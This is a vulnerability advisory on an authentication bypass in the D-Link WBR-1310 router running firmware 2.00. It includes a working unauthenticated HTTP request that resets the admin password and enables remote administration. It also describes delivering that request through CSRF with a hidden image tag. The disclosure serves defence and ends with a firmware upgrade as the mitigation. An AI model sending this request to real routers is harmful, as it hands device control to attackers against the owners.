D-Link WBR-1310 Authentication Bypass Vulnerability

Craig Heffner
www.devttys0.com

Vulnerability Summary

The WBR-1310 suffers from an authentication bypass vulnerability that can be exploited by remote attackers to change administrative settings. Note that this vulnerability can be exploited via CSRF even if remote administration is disabled.

Affected Products

This vulnerability has been confirmed in the WBR-1310 running firmware version 2.00.

Description

The WBR-1310 CGI scripts do not validate authentication credentials. Administrative settings can be changed by sending the appropriate HTTP request directly to a CGI script without authenticating to the device.

The following request will change the administrative password to 'hacked' and enable remote administration on port 8080:

> *http://192.168.0.1/tools_admin.cgi?*
> *admname=admin&admPass1=hacked&admPass2=hacked&username=user&userPass1=WD*
> *B8WvbXdHtZyM8&userPass2=WDB8WvbXdHtZyM8&hip1=*&hport=8080&hEnable=1*

Note that the CGI arguments can be passed via GET requests making this vulnerability trivial to exploit via CSRF.

Vulnerability Impact

If remote administration is enabled, any external attacker can gain full control over the router.

Even if remote administration is not enabled, any Web page that any internal user browses to can change the administrator password and enable remote administration via a hidden image tag embedded in the Web page. No Javascript is required.

Although later firmware versions are not affected, version 2.00 is the default firmware that ships with this device. All WBR-1310 routers found via Shodan searches were running version 2.00.

Mitigations

Later firmware versions are not affected. Upgrade to the latest firmware.